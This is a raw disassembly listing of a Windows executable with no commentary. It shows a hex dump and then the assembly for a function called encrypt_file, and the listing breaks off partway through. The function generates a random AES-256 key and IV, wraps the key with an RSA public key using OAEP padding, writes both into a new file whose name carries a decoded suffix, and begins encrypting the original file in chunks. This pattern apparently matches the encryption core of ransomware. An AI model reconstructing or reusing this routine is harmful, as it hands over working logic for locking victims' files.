140007300 85 70 18 00 00 48 89 c1 e8 c3 a1 0d 00 eb 06 48 .p...H.........H
140007310 89 c6 48 89 d3 48 8d 85 9f 18 00 00 48 89 c1 e8 ..H..H......H...
140007320 ac 6a 0c 00 90 e9 04 02 00 00 48 89 c6 48 89 d3 .j........H..H..
140007330 48 8d 85 00 19 00 00 48 89 c1 e8 91 a1 0d 00 eb H......H........
140007340 06 48 89 c6 48 89 d3 48 8d 85 2f 19 00 00 48 89 .H..H..H../...H.
140007350 c1 e8 7a 6a 0c 00 90 48 8d 85 d0 18 00 00 48 89 ..zj...H......H.
140007360 c1 e8 6a a1 0d 00 eb 06 48 89 c6 48 89 d3 48 8d ..j.....H..H..H.
140007370 85 ff 18 00 00 48 89 c1 e8 53 6a 0c 00 90 e9 ab .....H...Sj.....
140007380 01 00 00 48 89 c6 48 89 d3 48 8d 85 60 19 00 00 ...H..H..H..`...
140007390 48 89 c1 e8 38 a1 0d 00 eb 06 48 89 c6 48 89 d3 H...8.....H..H..
1400073a0 48 8d 85 8e 19 00 00 48 89 c1 e8 21 6a 0c 00 90 H......H...!j...
1400073b0 48 8d 85 30 19 00 00 48 89 c1 e8 11 a1 0d 00 eb H..0...H........
1400073c0 06 48 89 c6 48 89 d3 48 8d 85 5f 19 00 00 48 89 .H..H..H.._...H.
1400073d0 c1 e8 fa 69 0c 00 90 e9 52 01 00 00 48 89 c6 48 ...i....R...H..H
1400073e0 89 d3 48 8d 85 8f 19 00 00 48 89 c1 e8 df 69 0c ..H......H....i.
1400073f0 00 90 e9 37 01 00 00 48 89 c6 48 89 d3 48 8d 85 ...7...H..H..H..
140007400 c0 19 00 00 48 89 c1 e8 c4 a0 0d 00 eb 06 48 89 ....H.........H.
140007410 c6 48 89 d3 48 8d 85 e0 19 00 00 48 89 c1 e8 ad .H..H......H....
140007420 a0 0d 00 eb 06 48 89 c6 48 89 d3 48 8d 85 90 19 .....H..H..H....
140007430 00 00 48 89 c1 e8 96 a0 0d 00 eb 06 48 89 c6 48 ..H.........H..H
140007440 89 d3 48 8d 85 bf 19 00 00 48 89 c1 e8 7f 69 0c ..H......H....i.
140007450 00 90 e9 c0 00 00 00 48 89 c6 48 89 d3 48 8d 85 .......H..H..H..
140007460 30 1a 00 00 48 89 c1 e8 64 a0 0d 00 eb 06 48 89 0...H...d.....H.
140007470 c6 48 89 d3 48 8d 85 50 1a 00 00 48 89 c1 e8 4d .H..H..P...H...M
140007480 a0 0d 00 eb 06 48 89 c6 48 89 d3 48 8d 85 00 1a .....H..H..H....
140007490 00 00 48 89 c1 e8 36 a0 0d 00 eb 06 48 89 c6 48 ..H...6.....H..H
1400074a0 89 d3 48 8d 85 2f 1a 00 00 48 89 c1 e8 1f 69 0c ..H../...H....i.
1400074b0 00 90 eb 63 48 89 c6 48 89 d3 48 8d 85 a0 1a 00 ...cH..H..H.....
1400074c0 00 48 89 c1 e8 07 a0 0d 00 eb 06 48 89 c6 48 89 .H.........H..H.
1400074d0 d3 48 8d 85 c0 1a 00 00 48 89 c1 e8 f0 9f 0d 00 .H......H.......
1400074e0 eb 06 48 89 c6 48 89 d3 48 8d 85 70 1a 00 00 48 ..H..H..H..p...H
1400074f0 89 c1 e8 d9 9f 0d 00 eb 06 48 89 c6 48 89 d3 48 .........H..H..H
140007500 8d 85 9f 1a 00 00 48 89 c1 e8 c2 68 0c 00 90 eb ......H....h....
140007510 06 48 89 c6 48 89 d3 48 8d 85 20 16 00 00 48 89 .H..H..H.. ...H.
140007520 c1 e8 0a 4a 0d 00 eb 06 48 89 c6 48 89 d3 48 8d ...J....H..H..H.
140007530 45 40 48 89 c1 e8 66 46 0c 00 eb 06 48 89 c6 48 E@H...fF....H..H
140007540 89 d3 48 8d 85 10 02 00 00 48 89 c1 e8 6f 20 0c ..H......H...o .
140007550 00 eb 06 48 89 c6 48 89 d3 48 8d 45 10 48 89 c1 ...H..H..H.E.H..
140007560 e8 3b 20 0a 00 eb 06 48 89 c6 48 89 d3 48 8d 45 .; ....H..H..H.E
140007570 d0 48 89 c1 e8 57 9f 0d 00 eb 06 48 89 c6 48 89 .H...W.....H..H.
140007580 d3 48 8d 45 b0 48 89 c1 e8 43 9f 0d 00 48 89 f0 .H.E.H...C...H..
140007590 48 89 da eb 00 48 83 fa 01 0f 85 49 01 00 00 48 H....H.....I...H
1400075a0 89 c1 e8 e9 a6 0f 00 48 89 85 a8 1c 00 00 48 8d .......H......H.
1400075b0 85 0f 1b 00 00 48 89 85 10 1c 00 00 90 90 48 8d .....H........H.
1400075c0 8d 0f 1b 00 00 48 8d 15 37 fc 0f 00 48 8d 85 e0 .....H..7...H...
1400075d0 1a 00 00 49 89 c8 48 89 c1 e8 42 98 0d 00 48 8b ...I..H...B...H.
1400075e0 85 a8 1c 00 00 48 8b 00 48 83 c0 10 48 8b 10 48 .....H..H...H..H
1400075f0 8b 85 a8 1c 00 00 48 89 c1 ff d2 48 89 c3 48 8d ......H....H..H.
140007600 85 70 1b 00 00 48 8b 95 f0 1c 00 00 48 89 c1 e8 .p...H......H...
140007610 ec 7e 02 00 48 8d 85 50 1b 00 00 48 8d 8d 70 1b .~..H..P...H..p.
140007620 00 00 48 8d 15 22 07 10 00 49 89 c8 48 89 c1 e8 ..H.."...I..H...
140007630 9c 74 0f 00 48 8d 85 30 1b 00 00 48 8d 0d 26 07 .t..H..0...H..&.
140007640 10 00 48 8d 95 50 1b 00 00 49 89 c8 48 89 c1 e8 ..H..P...I..H...
140007650 fc 72 0f 00 48 8d 85 10 1b 00 00 48 8d 95 30 1b .r..H......H..0.
140007660 00 00 49 89 d8 48 89 c1 e8 e3 72 0f 00 48 8d 95 ..I..H....r..H..
140007670 e0 1a 00 00 48 8d 85 10 1b 00 00 48 89 c1 e8 88 ....H......H....
140007680 a0 ff ff 48 8d 85 10 1b 00 00 48 89 c1 e8 3e 9e ...H......H...>.
140007690 0d 00 48 8d 85 30 1b 00 00 48 89 c1 e8 2f 9e 0d ..H..0...H.../..
1400076a0 00 48 8d 85 50 1b 00 00 48 89 c1 e8 20 9e 0d 00 .H..P...H... ...
1400076b0 48 8d 85 70 1b 00 00 48 89 c1 e8 11 9e 0d 00 48 H..p...H.......H
1400076c0 8d 85 e0 1a 00 00 48 89 c1 e8 02 9e 0d 00 48 8d ......H.......H.
1400076d0 85 0f 1b 00 00 48 89 c1 e8 f3 66 0c 00 90 e8 9d .....H....f.....
1400076e0 a7 0f 00 e9 b2 01 00 00 48 89 c1 e8 a0 a5 0f 00 ........H.......
1400076f0 48 8d 85 bf 1b 00 00 48 89 85 08 1c 00 00 90 90 H......H........
140007700 48 8d 8d bf 1b 00 00 48 8d 15 f5 fa 0f 00 48 8d H......H......H.
140007710 85 90 1b 00 00 49 89 c8 48 89 c1 e8 00 97 0d 00 .....I..H.......
140007720 48 8d 85 e0 1b 00 00 48 8b 95 f0 1c 00 00 48 89 H......H......H.
140007730 c1 e8 ca 7d 02 00 48 8d 85 c0 1b 00 00 48 8d 8d ...}..H......H..
140007740 e0 1b 00 00 48 8d 15 20 06 10 00 49 89 c8 48 89 ....H.. ...I..H.
140007750 c1 e8 7a 73 0f 00 48 8d 95 90 1b 00 00 48 8d 85 ..zs..H......H..
140007760 c0 1b 00 00 48 89 c1 e8 9f 9f ff ff 48 8d 85 c0 ....H.......H...
140007770 1b 00 00 48 89 c1 e8 55 9d 0d 00 48 8d 85 e0 1b ...H...U...H....
140007780 00 00 48 89 c1 e8 46 9d 0d 00 48 8d 85 90 1b 00 ..H...F...H.....
140007790 00 48 89 c1 e8 37 9d 0d 00 48 8d 85 bf 1b 00 00 .H...7...H......
1400077a0 48 89 c1 e8 28 66 0c 00 90 e8 d2 a6 0f 00 e9 e7 H...(f..........
1400077b0 00 00 00 48 89 c3 48 8d 85 10 1b 00 00 48 89 c1 ...H..H......H..
1400077c0 e8 0b 9d 0d 00 eb 03 48 89 c3 48 8d 85 30 1b 00 .......H..H..0..
1400077d0 00 48 89 c1 e8 f7 9c 0d 00 eb 03 48 89 c3 48 8d .H.........H..H.
1400077e0 85 50 1b 00 00 48 89 c1 e8 e3 9c 0d 00 eb 03 48 .P...H.........H
1400077f0 89 c3 48 8d 85 70 1b 00 00 48 89 c1 e8 cf 9c 0d ..H..p...H......
140007800 00 eb 03 48 89 c3 48 8d 85 e0 1a 00 00 48 89 c1 ...H..H......H..
140007810 e8 bb 9c 0d 00 eb 03 48 89 c3 48 8d 85 0f 1b 00 .......H..H.....
140007820 00 48 89 c1 e8 a7 65 0c 00 90 e8 51 a6 0f 00 48 .H....e....Q...H
140007830 89 d8 48 89 c1 e8 66 3b 01 00 48 89 c3 48 8d 85 ..H...f;..H..H..
140007840 c0 1b 00 00 48 89 c1 e8 84 9c 0d 00 eb 03 48 89 ....H.........H.
140007850 c3 48 8d 85 e0 1b 00 00 48 89 c1 e8 70 9c 0d 00 .H......H...p...
140007860 eb 03 48 89 c3 48 8d 85 90 1b 00 00 48 89 c1 e8 ..H..H......H...
140007870 5c 9c 0d 00 eb 03 48 89 c3 48 8d 85 bf 1b 00 00 \.....H..H......
140007880 48 89 c1 e8 48 65 0c 00 90 e8 f2 a5 0f 00 48 89 H...He........H.
140007890 d8 48 89 c1 e8 07 3b 01 00 90 .H....;...
14000789a
14000789aloc_14000789a:
14000789aadd rsp, 7504
1400078a1pop rbx
1400078a2pop rsi
1400078a3pop rbp
1400078a4ret
1400063d9
1400063d9encrypt_file(std::filesystem::__cxx11::path const&, evp_pkey_st*):
1400063d9push rbp
1400063dapush rsi
1400063dbpush rbx
1400063dcmov eax, 7504
1400063e1call ___chkstk_ms
1400063e6sub rsp, rax
1400063e9lea rbp, [rsp+128]
1400063f1mov [rbp+7408], rcx
1400063f8mov [rbp+7416], rdx
1400063fflea rax, [rbp-80]
140006403lea rdx, [rip+0x1c1d36]
14000640amov rcx, rax
14000640dcall base64_decode(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&)
140006412lea rax, [rbp+5712]
140006419mov rdx, [rbp+7408]
140006420mov rcx, rax
140006423call std::filesystem::__cxx11::path::string() const
140006428lea rax, [rbp-48]
14000642clea rcx, [rbp-80]
140006430lea rdx, [rbp+5712]
140006437mov r8, rcx
14000643amov rcx, rax
14000643dcall _ZStplIcSt11char_traitsIcESaIcEENSt7__cxx1112basic_stringIT_T0_T1_EEOS8_RKS8_
140006442lea rax, [rbp+5712]
140006449mov rcx, rax
14000644ccall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
140006451lea rdx, [rbp-48]
140006455lea rax, [rbp+16]
140006459mov r8l, 2
14000645fmov rcx, rax
140006462call std::filesystem::__cxx11::path::path<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>, std::filesystem::__cxx11::path>(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&, std::filesystem::__cxx11::path::format)
140006467mov rdx, [rbp+7408]
14000646elea rax, [rbp+528]
140006475mov r8l, 4
14000647bmov rcx, rax
14000647ecall std::basic_ifstream<char, std::char_traits<char>>::basic_ifstream<std::filesystem::__cxx11::path, std::filesystem::__cxx11::path>(std::filesystem::__cxx11::path const&, std::_Ios_Openmode)
140006483lea rax, [rbp+528]
14000648amov rcx, rax
14000648dcall std::basic_ifstream<char, std::char_traits<char>>::is_open()
140006492xor eax, 1
140006495test al, al
140006497je 0x140006560
14000649dlea rax, [rbp+5791]
1400064a4mov [rbp+7328], rax
1400064abnop
1400064acnop
1400064adlea rcx, [rbp+5791]
1400064b4lea rdx, [rip+0x100d48]
1400064bblea rax, [rbp+5744]
1400064c2mov r8, rcx
1400064c5mov rcx, rax
1400064c8call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
1400064cdlea rax, [rbp+5824]
1400064d4mov rdx, [rbp+7408]
1400064dbmov rcx, rax
1400064decall std::filesystem::__cxx11::path::string() const
1400064e3lea rax, [rbp+5792]
1400064ealea rcx, [rbp+5824]
1400064f1lea rdx, [rip+0x1016f0]
1400064f8mov r8, rcx
1400064fbmov rcx, rax
1400064fecall _ZStplIcSt11char_traitsIcESaIcEENSt7__cxx1112basic_stringIT_T0_T1_EEPKS5_OS8_
140006503lea rdx, [rbp+5744]
14000650alea rax, [rbp+5792]
140006511mov rcx, rax
140006514call log_message(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&)
140006519lea rax, [rbp+5792]
140006520mov rcx, rax
140006523call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
140006528lea rax, [rbp+5824]
14000652fmov rcx, rax
140006532call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
140006537lea rax, [rbp+5744]
14000653emov rcx, rax
140006541call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
140006546lea rax, [rbp+5791]
14000654dmov rcx, rax
140006550call std::__new_allocator<char>::~__new_allocator()
140006555nop
140006556mov ebx, 0
14000655bjmp 0x14000707e
140006560
140006560loc_140006560:
140006560lea rdx, [rbp+16]
140006564lea rax, [rbp+64]
140006568mov r8l, 4
14000656emov rcx, rax
140006571call std::basic_ofstream<char, std::char_traits<char>>::basic_ofstream<std::filesystem::__cxx11::path, std::filesystem::__cxx11::path>(std::filesystem::__cxx11::path const&, std::_Ios_Openmode)
140006576lea rax, [rbp+64]
14000657amov rcx, rax
14000657dcall std::basic_ofstream<char, std::char_traits<char>>::is_open()
140006582xor eax, 1
140006585test al, al
140006587je 0x14000665c
14000658dlea rax, [rbp+5903]
140006594mov [rbp+7320], rax
14000659bnop
14000659cnop
14000659dlea rcx, [rbp+5903]
1400065a4lea rdx, [rip+0x100c58]
1400065ablea rax, [rbp+5856]
1400065b2mov r8, rcx
1400065b5mov rcx, rax
1400065b8call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
1400065bdlea rax, [rbp+5936]
1400065c4lea rdx, [rbp+16]
1400065c8mov rcx, rax
1400065cbcall std::filesystem::__cxx11::path::string() const
1400065d0lea rax, [rbp+5904]
1400065d7lea rcx, [rbp+5936]
1400065delea rdx, [rip+0x101633]
1400065e5mov r8, rcx
1400065e8mov rcx, rax
1400065ebcall _ZStplIcSt11char_traitsIcESaIcEENSt7__cxx1112basic_stringIT_T0_T1_EEPKS5_OS8_
1400065f0lea rdx, [rbp+5856]
1400065f7lea rax, [rbp+5904]
1400065femov rcx, rax
140006601call log_message(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&)
140006606lea rax, [rbp+5904]
14000660dmov rcx, rax
140006610call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
140006615lea rax, [rbp+5936]
14000661cmov rcx, rax
14000661fcall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
140006624lea rax, [rbp+5856]
14000662bmov rcx, rax
14000662ecall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
140006633lea rax, [rbp+5903]
14000663amov rcx, rax
14000663dcall std::__new_allocator<char>::~__new_allocator()
140006642nop
140006643lea rax, [rbp+528]
14000664amov rcx, rax
14000664dcall std::basic_ifstream<char, std::char_traits<char>>::close()
140006652mov ebx, 0
140006657jmp 0x140007061
14000665c
14000665cloc_14000665c:
14000665clea rax, [rbp-16]
140006660mov edx, 32
140006665mov rcx, rax
140006668call RAND_bytes
14000666dlea rax, [rbp+5696]
140006674mov edx, 16
140006679mov rcx, rax
14000667ccall RAND_bytes
140006681mov rax, [rbp+7416]
140006688mov edx, 0
14000668dmov rcx, rax
140006690call EVP_PKEY_CTX_new
140006695mov [rbp+7368], rax
14000669ccmp [rbp+7368], 0
1400066a4jne 0x140006768
1400066aalea rax, [rbp+6015]
1400066b1mov [rbp+7312], rax
1400066b8nop
1400066b9nop
1400066balea rcx, [rbp+6015]
1400066c1lea rdx, [rip+0x10157d]
1400066c8lea rax, [rbp+5968]
1400066cfmov r8, rcx
1400066d2mov rcx, rax
1400066d5call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
1400066dalea rax, [rbp+6063]
1400066e1mov [rbp+7304], rax
1400066e8nop
1400066e9nop
1400066ealea rcx, [rbp+6063]
1400066f1lea rdx, [rip+0x101553]
1400066f8lea rax, [rbp+6016]
1400066ffmov r8, rcx
140006702mov rcx, rax
140006705call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
14000670alea rdx, [rbp+5968]
140006711lea rax, [rbp+6016]
140006718mov rcx, rax
14000671bcall log_message(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&)
140006720lea rax, [rbp+6016]
140006727mov rcx, rax
14000672acall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000672flea rax, [rbp+6063]
140006736mov rcx, rax
140006739call std::__new_allocator<char>::~__new_allocator()
14000673enop
14000673flea rax, [rbp+5968]
140006746mov rcx, rax
140006749call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000674elea rax, [rbp+6015]
140006755mov rcx, rax
140006758call std::__new_allocator<char>::~__new_allocator()
14000675dnop
14000675emov ebx, 0
140006763jmp 0x140007061
140006768
140006768loc_140006768:
140006768mov rax, [rbp+7368]
14000676fmov rcx, rax
140006772call EVP_PKEY_encrypt_init
140006777test eax, eax
140006779setle al
14000677ctest al, al
14000677eje 0x140006851
140006784lea rax, [rbp+6111]
14000678bmov [rbp+7296], rax
140006792nop
140006793nop
140006794lea rcx, [rbp+6111]
14000679blea rdx, [rip+0x1014a3]
1400067a2lea rax, [rbp+6064]
1400067a9mov r8, rcx
1400067acmov rcx, rax
1400067afcall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
1400067b4lea rax, [rbp+6159]
1400067bbmov [rbp+7288], rax
1400067c2nop
1400067c3nop
1400067c4lea rcx, [rbp+6159]
1400067cblea rdx, [rip+0x101497]
1400067d2lea rax, [rbp+6112]
1400067d9mov r8, rcx
1400067dcmov rcx, rax
1400067dfcall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
1400067e4lea rdx, [rbp+6064]
1400067eblea rax, [rbp+6112]
1400067f2mov rcx, rax
1400067f5call log_message(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&)
1400067falea rax, [rbp+6112]
140006801mov rcx, rax
140006804call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
140006809lea rax, [rbp+6159]
140006810mov rcx, rax
140006813call std::__new_allocator<char>::~__new_allocator()
140006818nop
140006819lea rax, [rbp+6064]
140006820mov rcx, rax
140006823call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
140006828lea rax, [rbp+6111]
14000682fmov rcx, rax
140006832call std::__new_allocator<char>::~__new_allocator()
140006837nop
140006838mov rax, [rbp+7368]
14000683fmov rcx, rax
140006842call EVP_PKEY_CTX_free
140006847mov ebx, 0
14000684cjmp 0x140007061
140006851
140006851loc_140006851:
140006851mov rax, [rbp+7368]
140006858mov edx, 4
14000685dmov rcx, rax
140006860call EVP_PKEY_CTX_set_rsa_padding
140006865test eax, eax
140006867setle al
14000686atest al, al
14000686cje 0x14000693f
140006872lea rax, [rbp+6207]
140006879mov [rbp+7280], rax
140006880nop
140006881nop
140006882lea rcx, [rbp+6207]
140006889lea rdx, [rip+0x1013b5]
140006890lea rax, [rbp+6160]
140006897mov r8, rcx
14000689amov rcx, rax
14000689dcall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
1400068a2lea rax, [rbp+6255]
1400068a9mov [rbp+7272], rax
1400068b0nop
1400068b1nop
1400068b2lea rcx, [rbp+6255]
1400068b9lea rdx, [rip+0x1013c5]
1400068c0lea rax, [rbp+6208]
1400068c7mov r8, rcx
1400068camov rcx, rax
1400068cdcall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
1400068d2lea rdx, [rbp+6160]
1400068d9lea rax, [rbp+6208]
1400068e0mov rcx, rax
1400068e3call log_message(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&)
1400068e8lea rax, [rbp+6208]
1400068efmov rcx, rax
1400068f2call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
1400068f7lea rax, [rbp+6255]
1400068femov rcx, rax
140006901call std::__new_allocator<char>::~__new_allocator()
140006906nop
140006907lea rax, [rbp+6160]
14000690emov rcx, rax
140006911call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
140006916lea rax, [rbp+6207]
14000691dmov rcx, rax
140006920call std::__new_allocator<char>::~__new_allocator()
140006925nop
140006926mov rax, [rbp+7368]
14000692dmov rcx, rax
140006930call EVP_PKEY_CTX_free
140006935mov ebx, 0
14000693ajmp 0x140007061
14000693f
14000693floc_14000693f:
14000693flea r8, [rbp-16]
140006943lea rcx, [rbp+5688]
14000694alea rdx, [rbp+1008]
140006951mov rax, [rbp+7368]
140006958mov [rsp+32], 32
140006961mov r9, r8
140006964mov r8, rcx
140006967mov rcx, rax
14000696acall EVP_PKEY_encrypt
14000696ftest eax, eax
140006971setle al
140006974test al, al
140006976je 0x140006a49
14000697clea rax, [rbp+6303]
140006983mov [rbp+7264], rax
14000698anop
14000698bnop
14000698clea rcx, [rbp+6303]
140006993lea rdx, [rip+0x1012ab]
14000699alea rax, [rbp+6256]
1400069a1mov r8, rcx
1400069a4mov rcx, rax
1400069a7call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
1400069aclea rax, [rbp+6351]
1400069b3mov [rbp+7256], rax
1400069banop
1400069bbnop
1400069bclea rcx, [rbp+6351]
1400069c3lea rdx, [rip+0x1012d6]
1400069calea rax, [rbp+6304]
1400069d1mov r8, rcx
1400069d4mov rcx, rax
1400069d7call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
1400069dclea rdx, [rbp+6256]
1400069e3lea rax, [rbp+6304]
1400069eamov rcx, rax
1400069edcall log_message(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&)
1400069f2lea rax, [rbp+6304]
1400069f9mov rcx, rax
1400069fccall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
140006a01lea rax, [rbp+6351]
140006a08mov rcx, rax
140006a0bcall std::__new_allocator<char>::~__new_allocator()
140006a10nop
140006a11lea rax, [rbp+6256]
140006a18mov rcx, rax
140006a1bcall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
140006a20lea rax, [rbp+6303]
140006a27mov rcx, rax
140006a2acall std::__new_allocator<char>::~__new_allocator()
140006a2fnop
140006a30mov rax, [rbp+7368]
140006a37mov rcx, rax
140006a3acall EVP_PKEY_CTX_free
140006a3fmov ebx, 0
140006a44jmp 0x140007061
140006a49
140006a49loc_140006a49:
140006a49mov rax, [rbp+7368]
140006a50mov rcx, rax
140006a53call EVP_PKEY_CTX_free
140006a58lea rdx, [rbp+5688]
140006a5flea rax, [rbp+64]
140006a63mov r8l, 8
140006a69mov rcx, rax
140006a6ccall std::ostream::write(char const*, long long)
140006a71mov rax, [rbp+5688]
140006a78mov rcx, rax
140006a7blea rdx, [rbp+1008]
140006a82lea rax, [rbp+64]
140006a86mov r8, rcx
140006a89mov rcx, rax
140006a8ccall std::ostream::write(char const*, long long)
140006a91lea rdx, [rbp+5696]
140006a98lea rax, [rbp+64]
140006a9cmov r8l, 16
140006aa2mov rcx, rax
140006aa5call std::ostream::write(char const*, long long)
140006aaacall EVP_CIPHER_CTX_new
140006aafmov [rbp+7360], rax
140006ab6cmp [rbp+7360], 0
140006abejne 0x140006b82
140006ac4lea rax, [rbp+6399]
140006acbmov [rbp+7248], rax
140006ad2nop
140006ad3nop
140006ad4lea rcx, [rbp+6399]
140006adblea rdx, [rip+0x101163]
140006ae2lea rax, [rbp+6352]
140006ae9mov r8, rcx
140006aecmov rcx, rax
140006aefcall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
140006af4lea rax, [rbp+6447]
140006afbmov [rbp+7240], rax
140006b02nop
140006b03nop
140006b04lea rcx, [rbp+6447]
140006b0blea rdx, [rip+0x1011b2]
140006b12lea rax, [rbp+6400]
140006b19mov r8, rcx
140006b1cmov rcx, rax
140006b1fcall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
140006b24lea rdx, [rbp+6352]
140006b2blea rax, [rbp+6400]
140006b32mov rcx, rax
140006b35call log_message(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&)
140006b3alea rax, [rbp+6400]
140006b41mov rcx, rax
140006b44call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
140006b49lea rax, [rbp+6447]
140006b50mov rcx, rax
140006b53call std::__new_allocator<char>::~__new_allocator()
140006b58nop
140006b59lea rax, [rbp+6352]
140006b60mov rcx, rax
140006b63call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
140006b68lea rax, [rbp+6399]
140006b6fmov rcx, rax
140006b72call std::__new_allocator<char>::~__new_allocator()
140006b77nop
140006b78mov ebx, 0
140006b7djmp 0x140007061
140006b82
140006b82loc_140006b82:
140006b82call EVP_aes_256_cbc
140006b87mov rcx, rax
140006b8alea r8, [rbp-16]
140006b8emov rax, [rbp+7360]
140006b95lea rdx, [rbp+5696]
140006b9cmov [rsp+32], rdx
140006ba1mov r9, r8
140006ba4mov r8l, 0
140006baamov rdx, rcx
140006badmov rcx, rax
140006bb0call EVP_EncryptInit_ex
140006bb5test eax, eax
140006bb7setle al
140006bbatest al, al
140006bbcje 0x140006c8f
140006bc2lea rax, [rbp+6495]
140006bc9mov [rbp+7232], rax
140006bd0nop
140006bd1nop
140006bd2lea rcx, [rbp+6495]
140006bd9lea rdx, [rip+0x101065]
140006be0lea rax, [rbp+6448]
140006be7mov r8, rcx
140006beamov rcx, rax
140006bedcall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
140006bf2lea rax, [rbp+6542]
140006bf9mov [rbp+7224], rax
140006c00nop
140006c01nop
140006c02lea rcx, [rbp+6542]
140006c09lea rdx, [rip+0x1010d2]
140006c10lea rax, [rbp+6496]
140006c17mov r8, rcx
140006c1amov rcx, rax
140006c1dcall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
140006c22lea rdx, [rbp+6448]
140006c29lea rax, [rbp+6496]
140006c30mov rcx, rax
140006c33call log_message(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&)
140006c38lea rax, [rbp+6496]
140006c3fmov rcx, rax
140006c42call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
140006c47lea rax, [rbp+6542]
140006c4emov rcx, rax
140006c51call std::__new_allocator<char>::~__new_allocator()
140006c56nop
140006c57lea rax, [rbp+6448]
140006c5emov rcx, rax
140006c61call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
140006c66lea rax, [rbp+6495]
140006c6dmov rcx, rax
140006c70call std::__new_allocator<char>::~__new_allocator()
140006c75nop
140006c76mov rax, [rbp+7360]
140006c7dmov rcx, rax
140006c80call EVP_CIPHER_CTX_free
140006c85mov ebx, 0
140006c8ajmp 0x140007061
140006c8f
140006c8floc_140006c8f:
140006c8fmov [rbp+7352], 4096
140006c9alea rax, [rbp+6543]
140006ca1mov [rbp+7216], rax
140006ca8nop
140006ca9nop
140006caalea rdx, [rbp+6543]
140006cb1lea rax, [rbp+5664]
140006cb8mov r8, rdx
140006cbbmov edx, 4096
140006cc0mov rcx, rax
140006cc3call std::vector<char, std::allocator<char>>::vector(unsigned long long, std::allocator<char> const&)
140006cc8lea rax, [rbp+6543]
140006ccfmov rcx, rax
140006cd2call std::__new_allocator<char>::~__new_allocator()
140006cd7nop
140006cd8jmp 0x140006e18
140006cdd
140006cddloc_140006cdd:
140006cddlea rax, [rbp+528]
140006ce4mov rcx, rax
140006ce7call std::istream::gcount() const
140006cecmov [rbp+7348], eax
140006cf2lea rax, [rbp+5664]
140006cf9mov rcx, rax
140006cfccall std::vector<char, std::allocator<char>>::data()
140006d01mov r8, rax
140006d04lea r10, [rbp+5660]
140006d0blea rdx, [rbp+1520]
